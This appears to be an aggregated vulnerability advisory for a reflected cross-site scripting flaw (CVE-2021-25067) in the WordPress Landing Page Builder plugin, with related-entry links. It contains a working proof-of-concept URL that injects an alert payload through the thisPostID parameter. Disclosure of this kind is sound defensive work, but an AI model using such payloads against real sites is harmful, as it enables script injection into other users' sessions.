Lucene search
Krzysztof ZającWPVDB-ID:365007F0-61AC-4E81-8A3A-3A068F2C84BCHistoryDec 16, 2021 - 12:00 a.m.
Landing Page Builder < 1.4.9.6 - Authenticated Reflected Cross-Site Scripting (XSS)
2021-12-1600:00:00
Krzysztof Zając
wpscan.com
8
plugin
xss
reflected
EPSS
0.001
Percentile
30.1%
The plugin was affected by a reflected XSS in page-builder-add on the ulpb_post admin page.
PoC
http://127.0.0.1:8001/wp-admin/edit.php?post_type=ulpb_post&page;=page-builder-new-landing-page&thisPostID;="+style=animation-name:rotation+onanimationstart=alert(1)+x=
Related
nuclei
nuclei
Landing Page Builder < 1.4.9.6 - Cross-Site Scripting
2023-03-05 13:42:10
cnvd
cnvd
WordPress Landing Page Builder plugin cross-site scripting vulnerability
2022-01-18 00:00:00
cvelist
cvelist
cve
cve
CVE-2021-25067
2022-01-17 13:15:08
wpexploit
wpexploit
prion
prion
Cross site scripting
2022-01-17 13:15:00
patchstack
patchstack
nvd
nvd
CVE-2021-25067
2022-01-17 13:15:08
kitploit
kitploit
Wpgarlic - A Proof-Of-Concept WordPress Plugin Fuzzer
2022-04-25 21:30:00